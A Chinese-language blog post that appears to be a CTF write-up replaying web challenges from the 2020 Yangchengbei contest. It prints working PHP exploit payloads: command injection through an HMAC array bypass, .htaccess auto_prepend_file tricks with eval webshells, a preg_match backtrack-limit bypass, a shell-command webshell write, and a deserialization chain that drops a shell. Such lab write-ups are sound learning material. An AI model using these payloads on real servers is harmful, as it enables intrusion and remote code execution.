さくtwosmi1e

2020 羊城杯复现

twosmi1e·2021-01-04 16:39·2162 次阅读

2020 羊城杯复现

前言#

比赛时没做出多少题,正好buu上题了,复现一下

web#

easycon#

给了一个shell

GWHT{do_u_kn0w_c@idao}

blackcat#

进入页面有个黑猫警长的mp3。下载下来结尾有一段代码

Copy
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die('谁!竟敢踩我一只耳的尾巴!'); } $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。'); } echo exec("nc".$_POST['One-ear']);

hash_hmac — 使用 HMAC 方法生成带有密钥的哈希值

Copy
hash_hmac ( string $algo , string $data , string $key [, bool $raw_output = false ] ) : string

在php中md5算法、sha256算法等无法处理数组,这个trick通常来绕过if(@md5($_GET['a']) === @md5($_GET['b'])),因为当传入参数为数组时,返回值是NULL,造成了NULL===NULL

那么我们传White-cat-monitor为数组,$clandestine则为NULL,$hh可控,于是绕过判断,命令执行

White-cat-monitor[]=1&One-ear=;cat flag.php&Black-Cat- Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

buuoj的flag在env里

easyphp#

Copy
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?>

绕过正则和关键字拦截,用file_put_contents写文件,然后题目还限制了只解析index.php

思路#

利用.htaccess来设置文件自动包含

.htaccess设置php环境变量格式

Copy
#format php_value setting_name setting_value #example php_value auto_prepend_file .htaccess

可以使用auto_prepend_fileauto_append_file来进行包含
这样每个页面都会require所指定的php文件,而不用在页面php文件中使用require

Copy
auto_prepend_file #在页面顶部加载文件 auto_append_file #在页面底部加载文件

注意:auto_prepend_file 与 auto_append_file 只能require一个php文件,但这个php文件内可以require多个其他的php文件。

绕过\n过滤

题目会在写入文件的后面添加\nHello, world,我们构造payload时,结尾要用\ 处理content中的\n ,不然违背.htaccess 书写格式会导致Apache 运行崩

比如我们需要写入

Copy
php_value auto_prepend_file .htaccess #<?php phpinfo();?>\

如果末尾不加\来转义\n,文件内容就会变为

Copy
php_value auto_prepend_file .htaccess #<?php phpinfo();?> Hello, world

会出现末尾行的字符串不符合htaccess文件的语法标准而报错导致htaccess文件无法执行,然后全部500

绕过stristr的过滤

过滤了关键字,可以用base64绕过
谈一谈php://filter的妙用

绕过preg_match
Copy
if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); }

因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此存在了被绕过的可能。

文件名写入php://filter需要绕过preg_match函数的检查。第一印象想到preg_match处理数组是会返回NULL,然而这里file_put_contents函数传入的文件名参数不支持数组的形式。

看七月火师傅的文章preg_match函数绕过
在PHP中,正则匹配的递归次数由 pcre.backtrack_limit 控制 PHP5.3.7 版本之前默认值为 10万 ,PHP5.3.7 版本之后默认值为 100万 ,该值可以通过php.ini设置,也可以通过 phpinfo 页面查看。

那么可以设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。

那么同样可以按照.htaccess文件的格式写入

Copy
php_value pcre.backtrack_limit 0 php_value pcre.jit 0 php_value auto_prepend_file .htaccess #a<?php eval($_GET[1]); ?>\ Hello, world

因为php版本>=7,所以需要特别设置pcre.jit这个环境变量为0,不适用JIT引擎来匹配正则表达式,就使得pcre.backtrack_limit这个环境变量能正常生效,绕过preg_match函数。

?content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess
然后写入一句话
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();

方法二#

可以通过对过滤的关键字中间添加换行\n来绕过stristr函数的检测,不过仍然需要注意添加\来转义掉换行,这样才不会出现语法错误,如此一来就不需要再绕过preg_match函数,即可直接写入.htaccess来getshell
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

easyphp2#

访问robots.txt
有个LFI,url两次编码绕过
http://7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn/?file=php://filter/convert.%6%32ase64-encode/resource=GWHT.php

Copy
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>count is here</title> <style> html, body { overflow: none; max-height: 100vh; } </style> </head> <body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;"> <center><img src="question.jpg" height="200" width="200" /> </center> <?php ini_set('max_execution_time', 5); if ($_COOKIE['pass'] !== getenv('PASS')) { setcookie('pass', 'PASS'); die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333'); } ?> <h1>A Counter is here, but it has someting wrong</h1> <form> <input type="hidden" value="GWHT.php" name="file"> <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /> <input type="submit"> </form> <?php if (isset($_GET["count"])) { $count = $_GET["count"]; if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){ die('hacker!'); } echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>"; } ?> </body> </html>

读check.php

Copy
<?php $pass = "GWHT"; // Cookie password. echo "Here is nothing, isn't it ?"; header('Location: /');

密码为GWHT

Copy
GET /?file=GWHT.php&count='|echo+"<%3f%3d+eval(\$_POST['shell'])%3f>"+>+a.php' HTTP/1.1 Host: 7adf48cc-c6be-46ff-8cf2-00ec52b71e75.node3.buuoj.cn User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: pass=GWHT Upgrade-Insecure-Requests: 1

写一句话然后连蚁剑

find / -name "flag*"找到flag路径,权限问题读不了
/GWHT/system/of/a/down/flag.txt

README里面有个hash

解密后为GWHTCTF

print "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

其实env里面也有,应该是buuoj部署题目时的配置

robots.txt下有个

Copy
Disallow: /star1.php/

注释有一个

利用SSRF,http://127.0.0.1/ser.php读取源码

Copy
<?php error_reporting(0); if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) { highlight_file(__FILE__); } $flag='{Trump_:"fake_news!"}'; class GWHT{ public $hero; public function __construct(){ $this->hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } } } class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = $file; $this -> text = $text; } public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a); } } class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; } } ?>

反序列化,需要绕过die

Copy
<?php class GWHT{ public $hero; } class Yongen{ //flag.php public $file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"; public $text = "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg=="; } $a = new GWHT; $a->hero = new Yongen; echo urlencode(serialize($a));

payload

Copy
/star1.php?path=http://127.0.0.1/sandbox/hrnh1cvpq4bvbm960878icaodb/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==";}}

flag在根目录

break the wall#

open_basedirdisable_function
Alt text

Copy
chdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink,scandir,popepassthru,fsocket
Copy
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

Alt text

posted @   twosmi1e  阅读(2252)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示
目录